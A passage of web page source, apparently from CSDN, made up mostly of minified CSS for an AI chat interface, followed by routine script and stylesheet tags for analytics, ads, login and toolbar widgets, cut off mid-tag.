.gradient-button .gradient-button_hover .gradient-button_inner{background-color:#fff;border-radius:7px;height:100%;padding:0 16px}.dialog-linear-gradient-modal-fk .el-dialog.dialog-linear-gradient-fk .el-dialog__footer .gradient-button .gradient-button_hover .gradient-button_inner span{-webkit-text-fill-color:#6d5ffd;color:#6d5ffd;background-clip:text;-webkit-background-clip:text;font-size:12px;line-height:28px;font-style:normal;font-weight:400}.dialog-linear-gradient-modal-fk .el-dialog.dialog-linear-gradient-fk .el-dialog__footer .gradient-button:hover .gradient-button_hover{transition:all .2s}.dialog-linear-gradient-modal-fk .el-dialog.dialog-linear-gradient-fk .el-dialog__footer .gradient-button:hover .gradient-button_hover .gradient-button_inner span{-webkit-text-fill-color:#6d5ffd;color:#6d5ffd;background:transparent}.dialog-linear-gradient-modal-fk .el-dialog.dialog-linear-gradient-fk .el-dialog__footer .gradient-button.primary{background:linear-gradient(115.24deg,#bb89fa 2.14%,#635bff 96.77%);border:none}.dialog-linear-gradient-modal-fk .el-dialog.dialog-linear-gradient-fk .el-dialog__footer .gradient-button.primary .gradient-button_hover .gradient-button_inner{background-color:transparent}.dialog-linear-gradient-modal-fk .el-dialog.dialog-linear-gradient-fk .el-dialog__footer .gradient-button.primary .gradient-button_hover .gradient-button_inner span,.dialog-linear-gradient-modal-fk .el-dialog.dialog-linear-gradient-fk .el-dialog__footer .gradient-button.primary:hover .gradient-button_hover .gradient-button_inner span{-webkit-text-fill-color:#fff;color:#fff;background:transparent}.chat-doc_upload-button-pro[data-v-29c9f342]{position:relative;z-index:2;background-color:#fff;padding:10px;height:100%;border-radius:12px 12px 0 0}.chat-doc_upload-button-pro[data-v-29c9f342]:after{content:"";position:absolute;bottom:0;left:10px;width:calc(100% - 20px);height:1px;background:#f2f2f5}.chat-doc_upload-button-pro button[data-v-29c9f342]{width:max-content;max-width:50%;font-size:14px;height:28px;background-color:#fff;border:1px solid #E8E8F0;box-shadow:0 0 8px #725dc724;border-radius:4px;color:#6d5ffd;font-weight:500;text-align:center;display:flex;column-gap:4px;padding:0 8px;align-items:center;box-sizing:border-box;overflow:hidden}.chat-doc_upload-button-pro button.disable .doc-name[data-v-29c9f342]{cursor:not-allowed}.chat-doc_upload-button-pro button .doc-name[data-v-29c9f342]{flex:1;text-align:left;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;line-height:1;color:#000;cursor:pointer;font-size:12px;font-weight:400}.chat-doc_upload-button-pro button .icon-close[data-v-29c9f342]{padding-left:4px;box-sizing:border-box;color:#999aaa;font-size:12px;font-style:normal;font-weight:400;cursor:pointer;line-height:1}.chat-doc_upload-button-pro button .icon-close[data-v-29c9f342]:hover{color:#555666}.chat-doc_upload-button-pro button .doc-icon[data-v-29c9f342]{width:18px;height:18px;text-align:center}.chat-doc_upload-button-pro[data-v-a088d3d5]{position:relative;z-index:2;background-color:#fff;padding:10px;height:100%;border-radius:12px 12px 0 0}.chat-doc_upload-button-pro[data-v-a088d3d5]:after{content:"";position:absolute;bottom:0;left:10px;width:calc(100% - 20px);height:1px;background:#f2f2f5}.chat-doc_upload-button-pro button[data-v-a088d3d5]{width:max-content;max-width:50%;font-size:14px;height:24px;background-color:#6d5ffd0d;border:1px dashed rgba(109,95,253,.4);border-radius:4px;color:#6d5ffd;font-weight:500;text-align:center;display:flex;column-gap:4px;padding:0 6px 0 10px;align-items:center;box-sizing:border-box;cursor:pointer;overflow:hidden}.chat-doc_upload-button-pro button .doc-name[data-v-a088d3d5]{flex:1;text-align:left;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}.chat-doc_upload-button-pro button .icon-close[data-v-a088d3d5]{padding:4px;line-height:10px;box-sizing:border-box}.chat-doc_upload-button-pro button .doc-icon[data-v-a088d3d5]{width:18px;height:18px;text-align:center}.c-input-top button img.doc-icon[data-v-e98b4850]{width:16px;height:16px}#app .so-list-detail .main{overflow:inherit}.c-menu-fold{position:absolute;top:0;left:-32px;display:flex;width:32px;height:32px;padding:4px;justify-content:center;align-items:center;border-radius:15px 0 0 15px;background:#edeef7;cursor:pointer}.el-checkbox-group{font-size:0;line-height:0}.chat-search-feedback-popup-content[data-v-1fc11454]{padding:24px}.chat-search-feedback-popup-content-title[data-v-1fc11454]{display:flex;justify-content:space-between;align-items:center;margin-bottom:24px}.chat-search-feedback-popup-content-title span[data-v-1fc11454]{color:#222226;font-size:16px;font-weight:600;line-height:24px}.chat-search-feedback-popup-content-title img[data-v-1fc11454]{cursor:pointer;width:16px;height:16px}.chat-search-feedback-popup-content-checkbox[data-v-1fc11454]{margin-bottom:24px}.chat-search-feedback-popup-content-checkbox .checkbox-item[data-v-1fc11454]{display:flex;align-items:center;padding:6px 0;margin:8px 0}.chat-search-feedback-popup-content-checkbox .checkbox-item[data-v-1fc11454]:first-child{margin-top:0;padding-top:0}.chat-search-feedback-popup-content-checkbox .checkbox-item[data-v-1fc11454]:last-child{margin-bottom:0;padding-bottom:0}.chat-search-feedback-popup-content-checkbox .checkbox-item[data-v-1fc11454] .van-icon{border-radius:4px}.chat-search-feedback-popup-content-checkbox .checkbox-item .checkbox-item—label[data-v-1fc11454]{color:#222226;font-size:14px;font-weight:400;line-height:22px}.chat-search-feedback-popup-content-textarea[data-v-1fc11454]{margin-bottom:24px;width:100%;border-radius:12px;background:#f2f2f5;height:80px;box-sizing:border-box;resize:none;border:none;padding:10px;font-size:14px;font-weight:400;color:#222226}.chat-search-feedback-popup-content-textarea[data-v-1fc11454]::placeholder{color:#999aaa;font-size:14px;font-weight:400}.chat-search-feedback-popup-content button[data-v-1fc11454]{width:112px;border:none;color:#fff;padding:10px 0;height:40px;justify-content:center;align-items:center;border-radius:20px;background:#6d5ffd;transition:all .2s}.chat-search-feedback-popup-content button.disabled[data-v-1fc11454]{cursor:not-allowed;background:#6d5ffd66}.chat-search-feedback-popup-content button[data-v-1fc11454]:not(.disabled):active{background:#6d5ffdf2}.chat-search-feedback-popup-content .btn-cancel[data-v-1fc11454]{background:#fff;color:#555666;border:1px solid #CCCCD8;margin-right:12px}.chat-search-feedback-popup[data-v-50742eb8]{--van-popup-round-radius: 12px}.chat-search-feedback-popup[data-v-50742eb8] .el-dialog .el-dialog__header{display:none}.chat-search-feedback-popup[data-v-50742eb8] .el-dialog .el-dialog__body{padding:0!important}@media screen and (min-width: 769px){.scroll-bar-style[data-v-92d5ddb4]:hover::-webkit-scrollbar-thumb,.new-version-dialog .content ul[data-v-92d5ddb4]:hover::-webkit-scrollbar-thumb{box-shadow:inset 0 0 5px #0000001a;background:#f7f7fc}.scroll-bar-style[data-v-92d5ddb4]::-webkit-scrollbar,.new-version-dialog .content ul[data-v-92d5ddb4]::-webkit-scrollbar{width:5px;height:5px}.scroll-bar-style[data-v-92d5ddb4]::-webkit-scrollbar-thumb,.new-version-dialog .content ul[data-v-92d5ddb4]::-webkit-scrollbar-thumb{border-radius:10px;box-shadow:inset 0 0 5px #0000;background:#0000}.scroll-bar-style[data-v-92d5ddb4]::-webkit-scrollbar-track,.new-version-dialog .content ul[data-v-92d5ddb4]::-webkit-scrollbar-track{border-radius:10px;background:#0000}}.new-version-dialog[data-v-92d5ddb4]{position:absolute;background:#00000026;width:100%;height:100%;top:0;left:0;z-index:99;display:flex;justify-content:center;align-items:center}.new-version-dialog .content[data-v-92d5ddb4]{width:640px;height:380px;transform:translateY(-10%);background:#fff url(https://cdn-static-devbit.csdn.net/ai100/chat/imgs/new-version-bg.png) right/contain no-repeat;padding:24px;box-sizing:border-box;border-radius:12px;overflow:hidden}.new-version-dialog .content h1[data-v-92d5ddb4]{font-size:24px;margin:0;color:var(--color-text-primary);display:flex;justify-content:space-between;align-items:flex-start;font-weight:700}.new-version-dialog .content h1 .icon-close[data-v-92d5ddb4]{color:#c4c4c8;font-size:24px;font-weight:400;cursor:pointer}.new-version-dialog .content h2[data-v-92d5ddb4]{font-size:18px;margin:40px 0 24px;font-weight:700;color:var(--color-text-content)}.new-version-dialog .content ul[data-v-92d5ddb4]{font-size:14px;width:260px;height:144px;overflow-y:auto;display:flex;flex-direction:column;row-gap:8px;list-style:decimal;color:var(--color-text-content)}.new-version-dialog .content ul .note-index[data-v-92d5ddb4]{display:inline-block;width:24px}.new-version-dialog .content .button[data-v-92d5ddb4]{font-size:14px;width:146px;height:42px;font-weight:400;line-height:42px;border-radius:42px;display:block;cursor:pointer;text-align:center;box-sizing:border-box;background:#6d5ffd;color:#fff;margin-top:24px}.role-card[data-v-9279235b]{width:160px;height:258px;background:#f8f8f8;border-radius:8px;overflow:hidden;border:1px solid #f2f2f5;box-sizing:border-box;position:relative}.role-card:hover .mask[data-v-9279235b]{opacity:1}.role-card .mask[data-v-9279235b]{position:absolute;top:0;left:0;width:100%;height:100%;background:#0000004d;-webkit-backdrop-filter:blur(4px);backdrop-filter:blur(4px);display:flex;justify-content:center;align-items:center;opacity:0;transition:opacity .3s;z-index:9}.role-card .mask .use-button[data-v-9279235b]{width:96px;height:36px;line-height:36px;color:#fff;font-size:12px;text-align:center;background:#6d5ffd;border-radius:20px;cursor:pointer;font-weight:500}.role-card .mask .use-button.vip[data-v-9279235b]{background:linear-gradient(140.62deg,#e2b1ff 5.23%,#6e60fd 97.15%)}.role-card .role-avatar[data-v-9279235b]{width:160px;height:160px}.role-card .role-star[data-v-9279235b]{width:32px;height:32px;position:absolute;top:0;right:0;z-index:8}.role-card .role-info[data-v-9279235b]{font-size:12px;color:var(--color-text-desc);padding:8px 12px;box-sizing:border-box}.role-card .role-info .role-title[data-v-9279235b]{font-weight:600;font-size:16px;height:22px;line-height:22px;color:var(--color-text-primary)}.role-card .role-info .role-desc[data-v-9279235b]{display:-webkit-box;-webkit-line-clamp:2;overflow:hidden;text-overflow:ellipsis;-webkit-box-orient:vertical;margin:4px 0 8px;min-height:32px}.role-card .role-info .role-data[data-v-9279235b]{display:flex;justify-content:space-between;align-items:center}.role-card .role-info .role-data span[data-v-9279235b]{display:flex;align-items:center;column-gap:4px}@media screen and (min-width: 769px){.scroll-bar-style[data-v-6d10396e]:hover::-webkit-scrollbar-thumb,.directive-center[data-v-6d10396e]:hover::-webkit-scrollbar-thumb{box-shadow:inset 0 0 5px #0000001a;background:#f7f7fc}.scroll-bar-style[data-v-6d10396e]::-webkit-scrollbar,.directive-center[data-v-6d10396e]::-webkit-scrollbar{width:5px;height:5px}.scroll-bar-style[data-v-6d10396e]::-webkit-scrollbar-thumb,.directive-center[data-v-6d10396e]::-webkit-scrollbar-thumb{border-radius:10px;box-shadow:inset 0 0 5px #0000;background:#0000}.scroll-bar-style[data-v-6d10396e]::-webkit-scrollbar-track,.directive-center[data-v-6d10396e]::-webkit-scrollbar-track{border-radius:10px;background:#0000}}.ske[data-v-6d10396e]{display:flex;gap:16px;height:258px}.ske .ske-item[data-v-6d10396e]{flex:1;height:100%}.ske-2[data-v-6d10396e]{display:grid;grid-template-columns:repeat(3,33.33%);grid-template-rows:repeat(3,33.33%);grid-row-gap:15px;grid-column-gap:15px}.ske-2 .ske-2-item[data-v-6d10396e]{height:108px}.directive-center[data-v-6d10396e]{overflow-x:hidden;overflow-y:auto;height:calc(100% - 25px);background:linear-gradient(180deg,#fff,#fbfbfc,#fff 80%,#fafbff);border-radius:0 16px 16px 0}.directive-center .content[data-v-6d10396e]{position:relative;box-sizing:border-box;padding:24px;width:1084px;margin:0 auto}.directive-center .content .roles[data-v-6d10396e]{height:306px}.directive-center .content .roles:hover .arrow[data-v-6d10396e]{opacity:1}.directive-center .content .roles+.title[data-v-6d10396e]{margin-top:24px}.directive-center .title[data-v-6d10396e]{font-size:16px;font-weight:600;height:40px;line-height:40px;color:var(--color-text-primary);margin-bottom:8px;padding-left:12px;box-sizing:border-box}.directive-center .arrow[data-v-6d10396e]{position:absolute;top:182px;z-index:99;width:32px;height:32px;cursor:pointer;color:#f2f2f5;opacity:0;transition:opacity .3s}.directive-center .arrow.l[data-v-6d10396e]{left:8px}.directive-center .arrow.r[data-v-6d10396e]{right:8px}.directive-center .arrow.disabled[data-v-6d10396e]{cursor:not-allowed;color:#f2f2f566}.directive-center .scroll-wrapper[data-v-6d10396e]{width:100%;overflow:hidden;position:relative}.directive-center .role-list[data-v-6d10396e]{display:flex;justify-content:space-between;width:max-content;column-gap:16px}.directive-center .directive-list[data-v-6d10396e]{display:flex;flex-wrap:wrap;gap:16px}.directive-center .directive-list .directive-card[data-v-6d10396e]{background:#f8f8f8}.tools-wrap[data-v-6c9cc989]{display:flex;flex-direction:column;width:100%;margin:0 auto;height:100%;overflow:hidden;height:calc(100% - 25px);background:#fff;border-radius:0 16px 16px 0}.ske-nav[data-v-6c9cc989]{height:44px;margin:24px auto 20px;max-width:1036px;width:100%}.ske[data-v-6c9cc989]{max-width:1036px;margin:0 auto;display:grid;grid-template-columns:repeat(4,24%);grid-row-gap:12px;grid-column-gap:15px;width:100%}.ske .ske-item[data-v-6c9cc989]{height:92px}.c-chat-floating-bubble-pc{position:absolute;background-color:transparent;line-height:0;right:38px;bottom:150px}.c-chat-floating-bubble-pc img{cursor:pointer;-webkit-user-select:none;user-select:none;-webkit-user-drag:none}.c-chat-floating-bubble-pc .close-o{cursor:pointer;position:absolute;top:-10px;right:-16px;padding:4px;width:16px;height:16px;box-sizing:content-box;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAACXBIWXMAABYlAAAWJQFJUiTwAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAJxSURBVHgBzVc7biJBEK1pEILMOQRjiYBsZ0/g3RAiOMHuDbw3sLkBewP7BDgBJBLWF0BekRAg7SQkJGuJgI8EuF57BpnW9AfMWH5Suz1MTb3q6uqqao8c0W63L3K5XF0IcbXb7QKefZ4v8M7zvOftdhvy/MTz43q9fmg0Gs8uej2bQK/XA9E1E/6MCR1xx6NZrVZDOsUArLhQKNww6S96B9grrcVi0dR5JNEArJqnAQ+fzoOQx/ckbwj1h36/H5yZnCJdg06nE6gvDjyQwspVhKR4Yu8B7HnK5BTpHkRchwYg4Chd8r0REZeE3ILI9f+SpCuVCvm+T5PJRA4XlMtlOcbjMYVhqBO7xFbEHrjRSZVKpQOlruRAsVjUynHCksfbw37k8/n/OkGsHl6IYfKEauRwOKTZbJYoi+zJ+eFSMHmdDIAL3xLqPKH+PhqNtOQAsqpM7fz/FVmgrlolSyKfTqc2tYS6kkVhYXdYhWMDYiLVgGPJAeYNslFVc/rAZMSx5BF8cWSF0wbhCeQyDgSdCZxc6BQIHIdjPnA9BS4At0An4/pBUrS7HFEDwiz/+csjsEnajpoamC5pm2PgCVvwxyZoI7flCR3QP4rlcvlgigPXJJNkBNK4CWheBXo1tuTeZICNXGeEqRgx7sAtjyEaR5NSLhqysLic89iI+Xxuk29K7vip2+222JBr+gBw8P2u1WqyHO8T0Wq1uqXXni1thBGXxOdpSgG8yGQyDUrHE1K3ejf4fBcTAIKcH74iWOidgA7o0t0RXS+nt3xCfpAjkNg2m8099xqtky+nKqLmtc7GfOPHL7rrOT8+Iru6Xs9fAKmCejuXEzPtAAAAAElFTkSuQmCC);background-repeat:no-repeat;background-size:16px;background-position:50%}.c-chat-floating-bubble-pc .close-o:hover{opacity:.9}#btnChatMove{position:absolute;border:none;background-color:transparent;display:flex;align-items:center;top:50%;left:0;transform:translate(-50%,-50%);height:100px;cursor:col-resize;z-index:2003}#btnChatMove img{width:24px}.chat-room{height:100%}.el-checkbox{--el-checkbox-checked-icon-color: #6d5ffd;--el-checkbox-checked-input-border-color: #6d5ffd;--el-checkbox-input-border-color-hover: #6d5ffd;--el-checkbox-checked-bg-color: #fff}.el-checkbox__input.is-checked .el-checkbox__inner{border-color:var(--el-checkbox-input-border-color-hover)}.el-popper{--el-popper-border-radius: var(--el-popover-border-radius, 12px)}.el-scrollbar{border-radius:12px}:root{--el-box-shadow-light: 0px 2px 10px 0px rgba(0, 0, 0, .1);--el-color-primary: #6d5ffd}.el-button{--el-button-hover-text-color: #fff}.el-button--primary,:hover{--el-button-hover-bg-color: #6d5ffd;--el-button-hover-border-color: #6d5ffd;--el-button-active-bg-color: #6d5ffd;--el-button-active-border-color: #6d5ffd}.el-button:hover{color:var(--el-button-text-color);border-color:var(--el-border-color);background-color:inherit;outline:0}.el-button--primary:hover{color:#fff;border-color:var(--el-button-hover-border-color);background-color:var(--el-button-hover-bg-color);outline:0}.el-button.is-round{padding-left:34px;padding-right:34px}.el-skeleton{--el-skeleton-color: rgba(0, 0, 0, .05)}.el-slider{--el-slider-button-wrapper-size: 22px;--el-slider-button-wrapper-offset: -8.5px}@media screen and (min-width: 769px){.scroll-bar-style:hover::-webkit-scrollbar-thumb{box-shadow:inset 0 0 5px #0000001a;background:#f7f7fc}.scroll-bar-style::-webkit-scrollbar{width:5px;height:5px}.scroll-bar-style::-webkit-scrollbar-thumb{border-radius:10px;box-shadow:inset 0 0 5px #0000;background:#0000}.scroll-bar-style::-webkit-scrollbar-track{border-radius:10px;background:#0000}}body{margin:0}*{box-sizing:border-box}.relative{position:relative}.flex{display:flex}.flex-1{flex:1;min-width:0;overflow:hidden}.gap-y-8,.gap-x-8{column-gap:8px}.gap-x-4{column-gap:4px}.font-16{font-size:16px}.align-item,.align-center{align-items:center}.justify-between{justify-content:space-between}.el-popper.el-popover.chat-footer-popover{width:320px!important;height:60px;border-radius:12px}.flex-center{display:flex;justify-content:center;align-items:center}.flex-center .list-content{min-height:auto!important}.inline-block{display:inline-block}#chat-pro{border-radius:2px}#chat-pro .em{display:inline-block;color:#fff;border-radius:50%;width:16px;height:16px;text-align:center;line-height:16px;font-size:12px;font-style:normal!important;background:var(--color-text-content);margin-left:3px}@media screen and (min-width: 769px){#chat-pro .fixheader{height:calc(100vh - 126px)}}@media screen and (max-width: 768px){#chat-pro .fixheader{min-height:100vh}}#chat-pro [disabled=true]{cursor:not-allowed}#chat-pro .line-2{word-break:break-all;overflow:hidden;text-overflow:ellipsis;display:-webkit-box;-webkit-box-orient:vertical;-webkit-line-clamp:2}#chat-pro .line{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}@media screen and (max-width: 768px){#chat-pro .m-hide{display:none!important}}@media screen and (min-width: 769px){#chat-pro .m-show{display:none!important}}@media screen and (max-width: 768px){#chat-pro .m-show{display:block!important}}#chat-pro .chat-toast-message{position:absolute;background:#00000080!important;border:none;opacity:1}#chat-pro .chat-toast-message .el-message__icon,#chat-pro .chat-toast-message .el-message__content{color:#fff}#chat-pro .el-overlay.is-message-box{position:absolute;background:#00000026}#chat-pro .el-overlay.is-message-box .el-overlay-message-box{position:absolute}#chat-pro .el-overlay.is-message-box .el-overlay-message-box .el-message-box{padding:24px;vertical-align:baseline}#chat-pro .el-overlay.is-message-box .el-overlay-message-box .el-message-box .el-message-box__header{width:100%;padding:0;font-size:18px;color:var(--color-text-primary);display:flex;align-items:center;justify-content:space-between}#chat-pro .el-overlay.is-message-box .el-overlay-message-box .el-message-box .el-message-box__header .el-message-box__headerbtn{position:static;height:20px;width:20px}#chat-pro .el-overlay.is-message-box .el-overlay-message-box .el-message-box .el-message-box__header .el-message-box__headerbtn .el-message-box__close{font-size:20px}#chat-pro .el-overlay.is-message-box .el-overlay-message-box .el-message-box .el-message-box__header .el-message-box__headerbtn .el-message-box__close:hover{color:var(--color-text-primary)}#chat-pro .el-overlay.is-message-box .el-overlay-message-box .el-message-box .el-message-box__content{font-size:14px;padding:18px 0;color:var(--color-text-primary)}#chat-pro .el-overlay.is-message-box .el-overlay-message-box .el-message-box .el-message-box__btns .el-button{width:96px;height:32px;border-radius:18px;border:1px solid #e8e8ed;color:#555666;font-size:14px;background:#fff;outline:none}#chat-pro .el-overlay.is-message-box .el-overlay-message-box .el-message-box .el-message-box__btns .el-button:hover{border:1px solid #999aaa}#chat-pro .el-overlay.is-message-box .el-overlay-message-box .el-message-box .el-message-box__btns .el-button.el-button--primary{background:#fc5531;border:none;color:#fff}#chat-pro .el-overlay.is-message-box .el-overlay-message-box .el-message-box .el-message-box__btns .el-button.el-button--primary:hover{background:#fc1944}.el-dialog{border-radius:8px;overflow:hidden}.el-dialog__headerbtn:hover .el-dialog__close{color:inherit}.flex-end{justify-content:flex-end}.el-overlay .el-dialog__header{background:#fff}.c-input-top{position:relative;z-index:2;background-color:#fff;padding:10px;height:100%;border-radius:16px 16px 0 0}.c-input-top:after{content:"";position:absolute;bottom:0;left:10px;width:calc(100% - 20px);height:1px;background:#f2f2f5}.c-input-top button{display:flex;border-radius:4px;border:1px solid #e8e8f0;background:#fff;box-shadow:0 0 8px #725dc724;column-gap:4px;padding:4px 8px;align-items:center;box-sizing:border-box;cursor:pointer;overflow:hidden;min-width:174px;font-size:12px}.c-input-top button .doc-name{flex:1;text-align:left;max-width:230px;width:100%;align-items:center;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}.c-input-top button .doc-name.name-status{display:flex;color:#6d5ffd}.c-input-top button .doc-name.name-status.fail{color:#fc1944}.c-input-top button .doc-status{height:12px;margin-left:6px;color:#000}.c-input-top button .doc-status img{width:12px;height:12px;overflow:hidden}.c-input-top button .icon-close{margin-left:40px;box-sizing:border-box;color:#999aaa}.c-input-top button .icon-close:hover{color:#555}.c-input-top button .doc-icon{width:18px;height:18px;text-align:center}.c-input-top .reUpload{box-sizing:border-box;color:#6d5ffd}.c-input-top .space{margin-right:4px;box-sizing:border-box;color:#999aaa!important}:root{font-synthesis:none;text-rendering:optimizeLegibility;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#c_chat .chat-drawer.el-overlay{background-color:transparent}#c_chat .el-drawer__body{padding:0}#c_chat .el-drawer{overflow:initial}.chat-wrapper{position:relative;height:100%;width:100%;font-size:14px;background-color:#fff}.chat-wrapper .chat-inner{position:relative;display:flex;height:100%;width:100%;overflow-x:auto;background:linear-gradient(180deg,#e1e2f6cc,#f5e7fecc)}.chat-wrapper .chat-right{position:relative;padding-top:12px;padding-right:12px;display:flex;flex-direction:column;flex:1;height:100%;overflow:hidden;min-width:890px}.chat-wrapper .chat-mask{flex:1;overflow:hidden}.chat-wrapper .chat-main{display:flex;flex-direction:column;position:relative;flex:1;background:var(--color-main-bg);border-radius:0 10px 10px 0;height:calc(100% - 25px);max-width:100%;padding:40px calc((100% - 878px)/2) 12px}.chat-wrapper .welcome{display:flex;flex-direction:column;justify-content:center;flex:1;margin:0 auto;width:100%;padding-bottom:12%}.chat-wrapper .welcome .slogan{display:flex;align-items:center;justify-content:center;text-align:center}.chat-wrapper .welcome .slogan .c-logo{height:48px;margin-bottom:16px;fill:none}.chat-wrapper .welcome .slogan .title{font-size:24px;font-weight:400;color:var(--color-text-primary);font-family:PingFang SC}.chat-wrapper .welcome .slogan .desc{width:100%;margin:0 auto;padding-top:8px}.chat-wrapper .welcome+.input-bar{width:878px;position:absolute;bottom:12px;left:50%;transform:translate(-50%);margin-top:0}.chat-wrapper .chat-bottom{padding:4px 0;text-align:center;color:#ccccd8;font-size:12px}.chat-wrapper .chat-bottom a{color:#ccccd8;text-decoration:none;line-height:16px}.chat-wrapper .chat-bottom a:hover{color:#555666;text-decoration:underline}.chat-wrapper .btn{cursor:pointer}.chat-wrapper .c-icon{width:16px;height:16px;cursor:pointer}.chat-wrapper .actions{margin-top:10px;display:flex;align-items:center;justify-content:space-between}.chat-btn{height:32px;font-size:14px}.vip-btn{width:100%;cursor:pointer;border-radius:16px;background:linear-gradient(141deg,#e2b1ff 5.23%,#6e60fd 97.15%);text-align:center;border-width:0px;color:#fff;padding:4px 12px}.model-wraper{position:absolute!important;left:50%;top:0;transform:translate(-50%);z-index:88}.model-wraper .model-setting{display:inline-flex;padding:6px 10px;justify-content:center;align-items:center;gap:4px;border-radius:0 0 12px 12px;background:#e4e7ff;color:var(--color-text-primary);cursor:pointer;font-weight:500}.el-message{min-width:10px}.msg-left{white-space:pre-wrap}.hidden{opacity:0;display:none;width:0;height:0}.empty-text{color:var(--color-text-empty);font-size:12px}.el-popper.is-dark .el-popper__arrow:before{border:1px solid var(--el-text-color-primary)!important;background:var(--el-text-color-primary)!important}.c-scrollbar-style:hover::-webkit-scrollbar-thumb{background:#00000026;cursor:pointer}.c-scrollbar-style::-webkit-scrollbar{width:8px;height:8px}.c-scrollbar-style::-webkit-scrollbar-thumb{border-radius:10px;background:#0000;opacity:0;transition:all .2s}.c-scrollbar-style::-webkit-scrollbar-track{border-radius:10px;background:#0000}body,.chat-pro-share{background-color:#f5f6f7}.chat-pro-share{--share-padding: 24px;max-width:1080px;height:100vh;margin:0 auto}.chat-pro-share *{box-sizing:border-box}.chat-pro-share.wap{--share-padding: 16px}.chat-pro-share.wap .chat-share-view{padding-top:64px}.chat-pro-share.wap .chat-share-view__header span{font-size:15px}.chat-pro-share.wap .chat-share-view__header .primary-btn{font-size:15px;padding:0 14px;height:36px;line-height:36px}.chat-pro-share .chat-share-view{position:relative;overflow:hidden;width:100%;padding-top:72px;padding-bottom:48px;height:100%}.chat-pro-share .chat-share-view__header{position:fixed;top:0;width:100%;background-color:#f5f6f7;max-width:1080px;left:50%;transform:translate(-50%);padding:var(--share-padding) var(--share-padding) 8px;display:flex;justify-content:space-between;align-items:center}.chat-pro-share .chat-share-view__header span{color:#000;font-size:16px;font-style:normal;font-weight:600;line-height:28px}.chat-pro-share .chat-share-view__header a.primary-btn{padding:0 24px;height:40px;text-align:center;line-height:40px;flex-shrink:0;cursor:pointer;font-size:16px;border:none;font-weight:600;color:#fff;border-radius:20px;background:#6d5ffd}.chat-pro-share .chat-share-view__header a.primary-btn:hover{opacity:.9}.chat-pro-share .chat-share-view__content{background-color:#fff;border-radius:16px;margin:0 var(--share-padding);height:100%;position:relative}.chat-pro-share .chat-share-view__content_inner{height:100%;overflow-y:auto}.chat-pro-share .chat-share-view__content_inner .share-preview .share-preview-inner{padding:16px var(--share-padding)}.chat-pro-share .chat-share-view__content .slide-down-btn{cursor:pointer;position:absolute;bottom:18px;left:0;right:0;margin:auto;width:32px;height:32px;border-radius:50%;background-color:#fff;box-shadow:0 0 16px #0000004d;display:flex;align-items:center;justify-content:center;font-size:18px;color:#333}.chat-pro-share .chat-share-view__content p{margin:0;padding:0 0 4px}.chat-pro-share .chat-share-view__footer{position:fixed;bottom:0;left:0;width:100%;background-color:#f5f6f7;height:48px;line-height:48px;padding:0;text-align:center}.chat-pro-share .chat-share-view__footer span{display:inline-block;color:#ccccd8;text-align:center;font-size:12px;font-weight:400;line-height:16px}</style>
<script src="//g.csdnimg.cn/common/csdn-report/report.js" type="text/javascript"></script>
<link rel="stylesheet" type="text/css" href="https://csdnimg.cn/public/sandalstrap/1.4/css/sandalstrap.min.css">
<style>
.MathJax, .MathJax_Message, .MathJax_Preview{
display: none
}
</style>
<script src="https://dup.baidustatic.com/js/ds.js"></script>
<script type="text/javascript">
(function(c,l,a,r,i,t,y){
c[a]=c[a]||function(){(c[a].q=c[a].q||[]).push(arguments)};
t=l.createElement(r);t.async=1;t.src="https://www.clarity.ms/tag/"+i;
y=l.getElementsByTagName(r)[0];y.parentNode.insertBefore(t,y);
})(window, document, "clarity", "script", "lgtpix6r85");
</script>
<script src="/cdn_cgi_bs_bot/static/crypto.min.js"></script>
<script src="/cdn_cgi_bs_bot/static/bot-score-v1.js"></script>
<link rel="stylesheet" type="text/css" href="https://g.csdnimg.cn/common/csdn-toolbar/csdn-toolbar-default.css"><script type="text/javascript" src="https://g.csdnimg.cn/common/csdn-cert-new/csdn-cert-new.js"></script><script type="text/javascript" src="https://g.csdnimg.cn/common/csdn-notification/csdn-notification.js"></script><link rel="stylesheet" type="text/css" href="https://g.csdnimg.cn/collection-box/2.1.2/collection-box.css"><script type="text/javascript" src="https://g.csdnimg.cn/user-login/3.0.1/user-login.js"></script><link rel="stylesheet" type="text/css" href="https://g.csdnimg.cn/user-tooltip/2.6/user-tooltip.css"><link rel="stylesheet" type="text/css" href="//g.csdnimg.cn/user-medal/2.0.0/user-medal.css"><script type="text/javascript" src="https://g.csdnimg.cn/lib/html2canvas/1.4.1/html2canvas.min.js"></script><link rel="stylesheet" type="text/css" href="https://g.csdnimg.cn/user-login/3.0.0/user-login.css"><meta http-equiv="origin-trial" content="AlK2UR5SkAlj8jjdEc9p3F3xuFYlF6LYjAML3EOqw1g26eCwWPjdmecULvBH5MVPoqKYrOfPhYVL71xAXI1IBQoAAAB8eyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiV2ViVmlld1hSZXF1ZXN0ZWRXaXRoRGVwcmVjYXRpb24iLCJleHBpcnkiOjE3NTgwNjcxOTksImlzU3ViZG9tYWluIjp0cnVlfQ=="><meta http-equiv="origin-trial" content="Amm8/NmvvQfhwCib6I7ZsmUxiSCfOxWxHayJwyU1r3gRIItzr7bNQid6O8ZYaE1GSQTa69WwhPC9flq/oYkRBwsAAACCeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiV2ViVmlld1hSZXF1ZXN0ZWRXaXRoRGVwcmVjYXRpb24iLCJleHBpcnkiOjE3NTgwNjcxOTksImlzU3ViZG9tYWluIjp0cnVlfQ=="><meta http-equiv="origin-trial" 